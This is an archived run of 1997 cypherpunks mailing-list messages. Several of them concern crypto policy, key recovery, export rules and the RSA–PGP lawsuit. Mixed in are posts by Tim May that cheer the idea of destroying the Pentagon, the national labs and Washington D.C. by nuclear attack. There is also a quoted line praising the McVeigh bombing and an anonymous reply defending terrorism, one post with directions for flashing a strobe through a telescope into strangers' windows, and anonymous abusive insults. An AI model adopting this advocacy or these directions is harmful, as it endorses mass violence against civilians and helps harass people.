From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:22:06 +0800
To: cypherpunks@algebra.com
Subject: Sabotaging the U.S. Military-Industrial War Machine
Message-ID: <v03007803af9d0957dadf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I sent this article to cypherpunks@cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks@algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)

>Date: Sun, 11 May 1997 19:39:47 -0800
>To: Kent Crispin <kent@songbird.com>, cypherpunks@cyberpass.net
>From: Tim May <tcmay@got.net>
>Subject: Sabotaging the U.S. Military-Industrial War Machine
>Cc:
>Bcc:
>X-Attachments:
>
>
>(Contrary to rumors, I _do) have a live outside of the Net. I've been away
>this weekend. I probably can't, or won't, respond to all of the comments
>about my recent posts.)
>
>At 12:57 PM -0800 5/10/97, Kent Crispin wrote:
>
>>I would expect a "cypherpunk riot" to be a little more aimed at
>>cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>>
>
>Sorry. I misunderstood you to be speaking of the "fouling of one's own
>nest" (or whatever the ebonics translation might be) riots of recent years.
>
>You are correct that a kind of riot in cyberspace is possible. However, I
>think the attacks (not riots) will not be oriented toward mayhem (no pun
>intended) toward one's neighbors, but towards destablization of
>democracies and military-industrial facilities.
>
>In particular, various attacks against the national labs.
>
>And technologies to make the "force of democracy" lose their teeth.
>
>Subscribe to the Info-War news list for more, although they are
>unfortunately biased toward the U.S. propaganda machine. (It was by some
>of them that I was characterized as an "information terrorist," a label I
>view as an honor.).
>
>(Hint: I was quoted/interviewed in oppostion to the Pentagon's
>"info-warriors" in a BBC television show called "The I-Bomb." My thesis,
>not all of which was inclued in the BBC programme, was that strong crypto
>would and should be used to destablilze U.S. efforts to dominate the New
>World Order. If an I-bomb could destroy the Pentagon, Livermore, Los
>Alamos, and so on, I would press the button tonight. The U.S. military
>machine is vastly more powerful than it needs to be meet the threat of
>invasion of our shores (hint: even Hitler and Tojo were not real threat to
>U.S. shores) and whatever is needed should be done to destabilize and
>sabotage the U.S. industrial war machine.)
>
>The spread of anonymous remailer is already being used to break the back
>of the U.S. war propaganda system. (Given that Lowell Wood's crimes are
>being liberated and sent to non-U.S. sites for their use in defeating the
>war machine).
>
>Cypherpunks stand for making the United States just another bunch of
>contiguous geographic regions.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:19:57 +0800
To: cypherpunks@algebra.com
Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
Message-ID: <v03007804af9d0a1507b0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I sent this article to cypherpunks@cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks@algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)




>Date: Sun, 11 May 1997 19:58:02 -0800
>To: cypherpunks@cyberpass.net
>From: Tim May <tcmay@got.net>
>Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
>Cc:
>Bcc:
>X-Attachments:
>
>At 3:25 PM -0800 5/10/97, Duncan Frissell wrote:
>>On Sat, 10 May 1997, Kent Crispin wrote:
>>
>>> I would expect a "cypherpunk riot" to be a little more aimed at
>>> cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>>
>>Tim was mostly talking about nuking the District of Columbia.  You will
>>note that that is an artificial community filled entirely with politicians
>>and their sycophants.  It is sort of like the train that Ayn has blow up
>>in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
>>there. (Well a few tourists and Ethiopian immigrants who don't know better
>>but you can't win 'em all.)  Note also that he is hoping others will do
>>the deed.  He's not volunteering.
>>
>>There will be a few unfortunate explosions in the world over the next few
>>years so I'm sure Tim is just hoping for a beneficial target selection.
>
>Indeed. Beneficial target selection. Though I think it much more likely
>that the U.S.-recognized capital of the Zionist entity will be a more
>likely target to undergo nuclear cleansing. (And even there some innocent
>civilians, both Muslim and Jew, will surely be hastened to their meetings
>with Allah, He Whose Name May Not be Expressed (YHWH), or the Great Honey
>Bear. No accounting for wanting to live in near Ground Zero...religion is
>a strange thing.)
>
>What I think a careful perusal of my comments about D.C. will reveal is
>that I will not cry for its destruction, and would, all in all, smile a
>broad grin if I wake up some morning to hear on CNN that D.C. is no more.
>It's a free country, so I can express such happy thoughts about such
>corruptions being cleansed.
>
>(As for crypto and Cypherpunks, anyone who is honest must admit that
>strong crypto and Cypherpunks are helping to make this a more plausible
>scenario. The bullshit that strong crypto is only for "democratic forces"
>is too naive to even comment on. Strong crypto is to give a handful of
>people the power to undermine statist authorities and imperial capitals.)
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:12:38 +0800
To: cypherpunks@algebra.com
Subject: Re: Camera Hacking
Message-ID: <v03007805af9d0a380fd6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I sent this article to cypherpunks@cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks@algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)


>Date: Sun, 11 May 1997 21:37:24 -0800
>To: cypherpunks@toad.com
>From: Tim May <tcmay@got.net>
>Subject: Re: Camera Hacking
>Cc:
>Bcc:
>X-Attachments:
>
>At 9:02 PM -0800 5/10/97, Alan Olsen wrote:
>
>>The best weapon against a 35mm camera is a flash from a camera.  Aim at the
>>lens and fire.  (Only if they are looking through it.)  The screams are
>>worth it.  (One of the few joys of my high school photography class.)
>
>Reminds me of an old astronomy club trick.
>
>Take any reasonble aperture telescope. Use a reasonable magnification for
>the target such that target window fills the field of view. Place a
>standard electronic flash where the eye normally is. (Increased efficiency
>is gotten by arranging for as much of the output to go into the eyepieces
>as possible...this can be done with an "integrating sphere," e.g., an
>aluminum foil sphere with a single exit at the eyepiece.)
>
>After dark, aim the telescope in the window of your victim. Best results
>are gotten if they have the lights off, e.g., while they're watching
>television.
>
>Trigger the flash.
>
>The startled reactions as their room fills with a flash of light are
>interesting. Some of them may even think they're under nuclear attack.
>
>This of course works best from afar. Apartment buildings with views of
>other apartment buildings, for example. Don't this from the bushes, or
>even from across a street.
>
>--Tim May
>
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu>
Date: Tue, 13 May 1997 01:36:00 +0800
To: "ET" <emergent@eval-apply.com>
Subject: Re: Unexportable crypto
In-Reply-To: <199705121618.MAA09197@jazz.cape.com>
Message-ID: <87g1vsbokk.fsf@A-abe.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"ET" <emergent@eval-apply.com> writes:

> A simple substitution cypher has a keyspace of
> 26! ~ 2**88
> Isn't this too strong to export?

No.  ITAR restricts key *size*, not keyspace.  A substitution cypher
has a key size of 2**4 <= 26 <= 2**5, you're not going to get the
Feds pissed off at you about it.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define PGP_fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

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j62owOWHZBk=
=Brxy
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 12 May 1997 22:51:23 +0800
To: cypherpunks@toad.com
Subject: Applauding Violence (was: Re: Wine Politics Again! (fwd))
Message-ID: <199705121427.HAA27541@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Sun, 11 May 1997 04:07:36 +0200 (MET DST)
> Subject:       Re: Wine Politics Again! (fwd)
> To:            cypherpunks@toad.com
> From:          nobody@replay.com (Anonymous)
> Organization:  Replay and Company UnLimited
> Reply-to:      nobody@replay.com (Anonymous)


Froomkin wrote:
>> On Fri, 9 May 1997, Tim May wrote:
>>Every day that passes, I'm more convinced that McVeigh did the right
>>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
>>that.

> It ill behooves participants in a democracy to either advocate or even
> tolerate or even cluck sympathetically at mass murder for political ends. 
> This way lies Bosnia.

> A. Michael Froomkin

Agreed. I'm getting progressively more turned off by
Tim's developing survivalist/confrontationist stance. I fear that
journalists and other casual readers will mistake his positions
for common 'cypherpunk' viewpoints. 

The type of armed, ingrained bitterness towards all aspects and
manifestations of government he displays is hazardous to himself
personally; I can envisage a simple traffic stop turning violent.

Worse, he's demonizing his opponent. This is counter-productive.
It's better to try to understand the actual underlying goals of 
your opponent - it gives you a much better chance at turning
him into your ally, or avoiding a conflict if you cannot do that.
If he can be neither turned nor avoided, the minimum action to
change the status quo should be used.

If Tim truly maintains that a 'war' is underway between people
like him and the government, than he would be in no position 
to complain if Clinton's men treated his little hilltop retreat
as an enemy outpost. 

For all his pride in it's defensibility, they could take it out 
in seconds if respect for due process, the Constitution, and a 
real concern for the lives of innocents did not stop them.

The policies of the current gang in power are bad, and may well
get worse. But terrorism is not yet an appropriate response, and
I pray that it never will be.


Peter Trei
trei@Process.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 13 May 1997 01:56:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970511024334.53652@bywater.songbird.com>
Message-ID: <Pine.NEB.3.95.970512110252.21416I-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 11 May 1997, Kent Crispin wrote:
> In the multiple recipient case, therefore, the master 
> key is potentially used quite frequently, and hence much more 
> exposed.  There are many other differences: I won't try to go into 
> detail here.

Good point.

I happen to think that using the master key to decrypt documents is better
practice than using the master key to obtain copies of other keys, but I
can see both sides of this argument.

> > > What part of the organization that is Acme Corp is authorized to know
> > > this particular bit of information?
> > 
> > Whatever the answer to the latter question is, it's the same in the CAK
> > case as it is in the "encrypt to a special coprorate key" case.
> 
> Not if the encryption client encrypts to different company recipients
> depending on a policy (which one might want if one tries to limit the 
> compromised master key problem described above.)  Then the policy, 
> contrary to what you state below, must be reflected in the client.

You are repeating your fallacy of assuming that the key safe (KS) case has
one policy for all users and the multiple recipients (MR) case has
different policies for different users.  The truth is that the two issues
(which model to use, and how many different policies to make visible to
the users' software) are orthogonal.  You can have KS with a different key
safe for each user, and you can have MR with the same extra recipients for
each user.

> > > Because some of the employees are idiots you want this
> > > built automatically into the application they are using for
> > > encryption/email/whatever.  How does this software know what policy
> > > is appropriate for which employee?  How is that policy distributed?
> > > What is the interface that allows a policy to be defined?  How do you
> > > protect the policy definition from subversion?
> > 
> > The same problems arise in the CAK case.  And the same solution: you
> > make the user's software do the same thing every time, and implement the
> > policy elsewhere.
> 
> Sigh.  The situations are really quite different.  In the KS
> case the policy never impacts the software; in the MR case I don't 
> think you can avoid it.

Sigh.  The same fallacy again.

In the KS case, the software must know which key safe to use and how to
secure and authenticate access to the key safe.

In the MR case, the software must know which extra recipients to add, and
the corresponding public keys.

In both cases, the software is affected to some minimum extent.  In both
cases, you can choose to make the software more complex by adding more
policy knowledge.  In neither case are you forced to add more than the
minimum amount of policy information to the software.

> > > Access to the key-safe is critical, of course, but it can be made very
> > > secure -- a special-purpose piece of hardware that requires passwords
> > > from n out of m key czars before access is granted, for example.
> > > Or the contents of the key safe can be encrypted via keys escrowed
> > > through a secret sharing mechanism
> > 
> > The same problems and solutions apply in both the CAK case and in the
> > "corporate key as extra crypto recipient" case.
> 
> Not at all. The corporate master key is used to decrypt documents in the 
> MR case; in the KS case the master key is used to get to the key 
> database.

What I meant was, you can make n-of-m hardware stuff for both cases.
Surely you don't disagree with that?

> >   - With CAK, every time a user creates a new key, the user's software
> >     needs to talk to teh key safe.  This needs a secure channel, which
> >     raises further authentication problems (how does the user know that
> >     he's not talking to a fake key safe).  These don't arise in the
> >     non-CAK case.
> 
> Not so.  You have to exactly the same issue -- how does the user find 
> out the master key to encrypt to?

Finding out which key to encrypt to in the MR case is analagous to finding
out which key safe to talk to in the KS case.  Securing and authenticating
the channel to the key safe in the KS case is an extra issue that does not
have a counterpart in the MR case.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 05:23:20 +0800
To: cypherpunks@toad.com
Subject: Re: Mondex
Message-ID: <199705121910.MAA00866@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 12 May 1997 
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Cc: cypherpunks@toad.com
Subject: Re: Mondex

I think Vulis needs each of us to send ten copies of this back to
him.

On Sun, 11 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May is a pimply Graham-John Bullers sitting at a 
> computer chortling at his own imagined cleverness.
> 
>              |||||||||||
>               \~0/ \0~/
>               <  (0)  >
>          --oOO--/|||\--OOo- Tim C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "ET" <emergent@eval-apply.com>
Date: Tue, 13 May 1997 00:42:17 +0800
To: <cypherpunks@toad.com>
Subject: Unexportable crypto
Message-ID: <199705121618.MAA09197@jazz.cape.com>
MIME-Version: 1.0
Content-Type: text/plain


A simple substitution cypher has a keyspace of
26! ~ 2**88
Isn't this too strong to export?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <dibona@acm.org>
Date: Tue, 13 May 1997 04:47:36 +0800
To: "cypherpunks@toad.com>
Subject: RE: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <01BC5ED2.4E86C710@marmoset.loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain


This really came as no surprise to anyone who deals with RSA. Note I am only talking for myself when I write this, but there is a LOT of money to be made by someone (certicom?) if they can give a cross-platform rsa type solution. I mean RSA has a fairly good product,but I can name at elase two other companies who've had this exact same problem with cross-licensing.

Really, does RSA expect Netscape or Microsoft to re-license every time they allow an oem to repackage thier products into or as part of a suite of programs with a third party vendor? RSA has a bunch of bullies at thier helm. They should realize that pulling this kind of crap will only make people jump ship faster when another company comes calling with a similar product and less restrictive licensing. 

I think that RSA should also realize that without PGP, their market would be much smaller, I think every time RSA licenses thier (now renewed) patents, they should think of Phil. I don't mean to saint the guy here or anything, but they owe him a debt that is difficult to quantify. By suing PGP they are basically saying , if I can extrapolate in a rather extreme manner, "privacy is okay, but only if we make money at it." 

And keep in mind , I don't begrudge RSA thier right to make money off thier intellectual property, but suing your customers except in the most extreme situations should be seen as a warning sign to the industry that to deal with RSA as a vendor is to take a risk that may be dangerous. 

    Chris DiBona
    dibona@acm.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 13 May 1997 01:23:44 +0800
To: cypherpunks@toad.com
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>
Message-ID: <3.0.1.32.19970512130018.006f39c0@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

.................
RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
RSA Data Security has filed a lawsuit against Pretty Good Privacy (PGP),
alleging that PGP failed to comply with the terms of a licensing agreement
that RSA had signed with Lemcom, the company with which PGP merged last
year.  RSA says Lemcom had "no ability to transfer rights to the source code
for the Licensed Product to an OEM Customer or anyone else."  When informed
that its license agreement to RSA technology was canceled, "PGP demanded we
sue them in order to exercise audit rights clearly laid out in the
agreement," says RSA President Jim Bidzos.  "Their behavior makes us wonder
what they have to hide."  Meanwhile, PGP says the products it's developing
don't rely on the RSA encryption scheme.  "Those new products will be
encryption-algorithm independent," says PGP VP Robert Kohn, which will
"break RSA monopoly on this technology."  (InfoWorld Electric 9 May 97)
.......................


************************************************************
Edupage, 11 May 1997.  Edupage, a summary of news about information
technology, is provided three times a week as a service by Educom, a
Washington, D.C.-based consortium of leading colleges and universities
seeking to transform education through the use of information technology.
************************************************************




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rXSC4NjjJPU=
=92sF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 05:01:50 +0800
To: cypherpunks@toad.com
Subject: Re: Applauding Violence (was: Re: Wine Politics Again! (fwd))
Message-ID: <199705122042.NAA06412@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Trei wrote:
> >> On Fri, 9 May 1997, Tim May wrote:
> >>Every day that passes, I'm more convinced that McVeigh did the right
> >>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
> >>that.

> I'm getting progressively more turned off by
> Tim's developing survivalist/confrontationist stance. I fear that
> journalists and other casual readers will mistake his positions
> for common 'cypherpunk' viewpoints.

  If they don't know shit from shinola, then let them base their beliefs
on any mistaken notion they wish.
  Every cypherpunk who wants to edit their posts out of fear that some
dweeb will mistake them for the God of Cypherpunks raise your hand.
  (Looks like you're the only one, Peter.)
 
> The type of armed, ingrained bitterness towards all aspects and
> manifestations of government he displays is hazardous to himself
> personally; I can envisage a simple traffic stop turning violent.

  It certainly did for Rodney King.
 
> Worse, he's demonizing his opponent. This is counter-productive.
> It's better to try to understand the actual underlying goals of
> your opponent - it gives you a much better chance at turning
> him into your ally, or avoiding a conflict if you cannot do that.
> If he can be neither turned nor avoided, the minimum action to
> change the status quo should be used.

  Precisely. The level of minimum action needed to change the status
quo is increasing by leaps and bounds.
  If the average citizen was not complacently allowing the government
to run ramshod over the rights and freedoms of the citizens, then the
individuals who choose to battle this oppression would not have to
take such drastic action in retaliation.
 
> The policies of the current gang in power are bad, and may well
> get worse. But terrorism is not yet an appropriate response, and
> I pray that it never will be.

  Everyone has their own threshold of pain which they can endure
before they feel compelled to take steps to counteract the actions
of the source of that pain.
  For some that threshold is a slap, for some a punch, and for some
it is a beating. Those who cause pain to others will suffer the
consequences of their actions. This applies to the people who are
lowest on the totem pole in the oppression of the citizens just as 
much as it applies to Timothy McVeigh.

  I didn't notice any great cries of outrage when the U.S. attack
on Saddam Hussein resulted in the death of innocents. It seems that
some lives are deemed more expendable than the lives of others.
  When U.S. forces slaughtered retreating Iraqui troops a great
cheer of victory sounded throughout the nation. Had the opposite
scenario been the case, the nation would have been calling for the
heads of the Iraquis for their callousness.

  If those who participate in the unjust persecution of a plethora
of the nation's citizens become so comfortable with their ability
to remain insulated from the consequences of their actions that they
feel free to place their children at the scene of the crime, then 
they face the same responsibility as someone who takes their child
along on an armed robbery.

  The terrorism was not instituted by the citizens against their
government, but the other way around.

TruthMonger #2





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 13 May 1997 02:08:24 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
I said:
>I appreciate the inference as to my (lack of) intelligence.  ;)

To which Vulis wrote:
>Your lack of ethics, rather.  You choose to work for someone who chooses
>to use inadequate Microsoft software, and you brandish these choices as
>an excuse to interfere with somene's free speech.

I'm not brandishing anything as an excuse, simply stating this: I should
not have to walk through the street (get my email) wearing 4 inches of
kevlar (using spam filters), *just in case* someone decides to whip out a
submachine gun (spam).  It should not me my job to defend myself from
psychos, rather people should have to ask my permission to infringe upon my
space and time.

Microsoft (and I can't believe I'm saying this) actually is doing it right
for a change: when you sign up to be a part of any of their "clubs" (SBN,
etc), you get asked if you want to receive further mail.

How am I taking away from Sanford's right to free speech by just spamming
him back?  I sgree with this weekend's discussion on arp attacks:
technically, they should be no different than spam attacks.  WHy then
should he (or whoever) have the right to spam me without fear of retribution?

>I'm fairly confident that they will withstand whatever attacks these
>half-brained wannabe hackers and anti-free-speech hooligans can invent.

Actually, and this is just MHO, I don't really care if the 100 or so
spams/arps I send them are but a mosquito's bite to them.  It makes *me*
feel better.  I'm not in this necessarily to shut anyone down (though it
would be a nice side-effect), just to annoy them as much as they annoy me.
Like I said, I'm more of the passive-agressive type, so I'm not here to
wage a war, just a few small skirmishes.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"A heart of gold beats under that big fiberglass croissant, Arthur.  And
thank goodness for it!  It's spirit like hers that allowed us to thwart
Chairface's evil scheme and thwart we did."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 08:53:41 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <199705020937.KAA00881@server.test.net>
Message-ID: <3.0.1.32.19970512135547.005f2040@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Well, the consequence of book-entry transactions, of course, is the
>interference of the nation-state, because that's your anti-repudiation
>mechanism. Book-entry banks need nation-states, or force monopolies of
>somekind, to exist. 

I disagree.  Book-entry banks need some kind of fairly reliable
dispute resolution mechanism, but it doesn't need to be a force monopoly.
If you happen to have a nation-state just lying around to be used,
banks will be happy to use them, because they're more convenient for
wide-area business than Mafia enforcers, probably cheaper, and can be
more dependable and predictable, though your mileage may vary.

If you have relatively dependable identities, you can run a reputation
system without relying on governmental or private violence providers;
it's probably less expensive, but also less effective in most communities,
so the risk of losing money may make it less attractive than governments.
If people know that nobody will take their checks if they bounce them
and don't make good, and know they won't get any credit, and know that
the merchants are all on the Grapevine, they'll generally be honest*.
If identities are fluid, and you're willing to keep creating and burning them,
you can sometimes get away with reneging on obligations,
but people are less likely to trust you if they don't know you -
so they'll want to see certified e-checks from well-known banks.

I tend to view book-entry systems as an effect of an
economy that uses credit to fund business ventures;
you can call the book entries "bonds" or "stocks", but
book-entry is the obvious way to keep track of either one.
Sure, you could do things like split all revenues on receipt,
but book-entry is probably still easier.

[*Honest people will generally be honest anyway, which is most people
in most cultures, but that doesn't mean they'll be good enough at
planning to pay off their loans on time, especially if they're using
the money for risky activities such as farming or software development...
On the other hand, violence providers aren't always good at extracting
payments from people who really don't have the money any more.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 13 May 1997 02:35:24 +0800
To: cypherpunks@toad.com
Subject: Cryptography Forum
Message-ID: <1.5.4.32.19970512181438.008ab04c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Forward from Cyberia-L:

Cryptography Forum
May 22, 1997 at 7:00 p.m.
Association of the Bar of the City of New York
22 West 44th Street, New York City

Interested persons are invited to attend.  No fee or
reservation is required.

TITLE OF PROGRAM:
Guns, Ammunition and Cryptography: Is the Government's
Policy on Digital Encryption Creating a Crisis?

A moderated panel will discuss issues raised by the
Government's policy on cryptography.

MODERATOR:
Charles R. Nesson, Professor, Harvard Law School

PANELISTS:
Jim Bidzos
President and CEO, RSA Data Security, Inc.

Scott Charney
Computer Crime Unit, Department of Justice

Kenneth W. Dam
Professor, University of Chicago Law School; Chair,
National Research Council Committee to Study National
Cryptography Policy

Dorothy E. Denning
Professor, Computer Science Department, Georgetown
University

David J. Farber
Professor, Computer and Information Science and Electrical
Engineering Departments, University of Pennsylvania

Marc Rotenberg
Director, Electronic Privacy Information Center

Sponsored by the Committees on Computer Law, Civil Rights,
Science and the Law, and Symposia, of the Association of
the Bar of the City of New York

For additional information, e-mail jzammit@fulbright.com or
dcohen@bway.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 06:17:16 +0800
To: cypherpunks@toad.com
Subject: Digital signatures
Message-ID: <199705122154.OAA10465@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's family tree goes straight up. All of his ancestors 
were siblings, to dumb to recognize each other in the dark.

        _  o
       |<)_/# Timmy May
       TT  <T





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 06:33:01 +0800
To: cypherpunks@algebra.com
Subject: CAK/GAK center, "first and only U.S. Govnt. approved"
Message-ID: <199705122207.PAA11242@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.sourcefile.com

Just how many "authorized personnel" are there, and who all is paying
them to do what?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Mon, 12 May 1997 21:59:31 +0800
To: <cypherpunks@algebra.com>
Subject: Copy of: UK TTP Paper - For Your Information
Message-ID: <WIN2359-970512134423-1E44*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: message/rfc822


To: Joep.VAN-DER-VEER@DG15.cec.be, Theodor.SCHLICKMANN@BXL.DG13.cec.be,   Konstantinos.PAPANIKOLAOU@BXL.DG13.cec.be,   Christine.SOTTONG-MICAS@DG15.cec.be, Detlef.ECKERT@BXL.DG13.cec.be,   Andrea.SERVIDA@DG3.cec.be, Richard.SWETENHAM@LUX.DG13.cec.be,   Telmo.BALTAZAR@SG.cec.be, Giuseppe.CASELLA@DG3.cec.be
Subject: UK TTP Paper - For Your Information
From: David.HERSON@BXL.DG13.cec.be

-----Original Message-----
From:   Hendon David
Sent:   Friday, May 09, 1997 3:06 PM
To:     Non Receipt Notification Requested; Non Receipt Notification Requested
Subject:        Open Reply to Charles Lindsey's Open Letter to the DTI

cc Brian Gladman - please post to UKCrypto

Dear Mr Lindsey


OPEN REPLY TO THE "OPEN LETTER TO DTI" ON THE TTP CONSULTATION PAPER

First of all let me thank you for your letter of 24 April on the DTI 
Consultation Document, and also apologise for this rather late reply.  As 
you can imagine the last couple of weeks have been rather busy for 
Whitehall Departments.
I am glad you wrote, as it gives me an opportunity to clarify a number of 
issues which have arisen in both the various Usenet newsgroups and also in 
the responses we have received to the Consultation Document.  Let me first 
set the Consultation Document in context.
The Document, as the Introduction to it hopefully made clear, is an outline 
of how the previous Government's policy might be implemented.  It  follows 
on from the announcement last June on the provision of encryption services. 
  Whilst drawing up the Document we took careful notice of the various 
reactions we had received to that announcement. Unfortunately, there were 
not many.  Since the Consultation Document was published, a new Government 
has been elected.  Ministers have not yet had the opportunity to consider 
this subject.  It therefore follows that what is said below represents only 
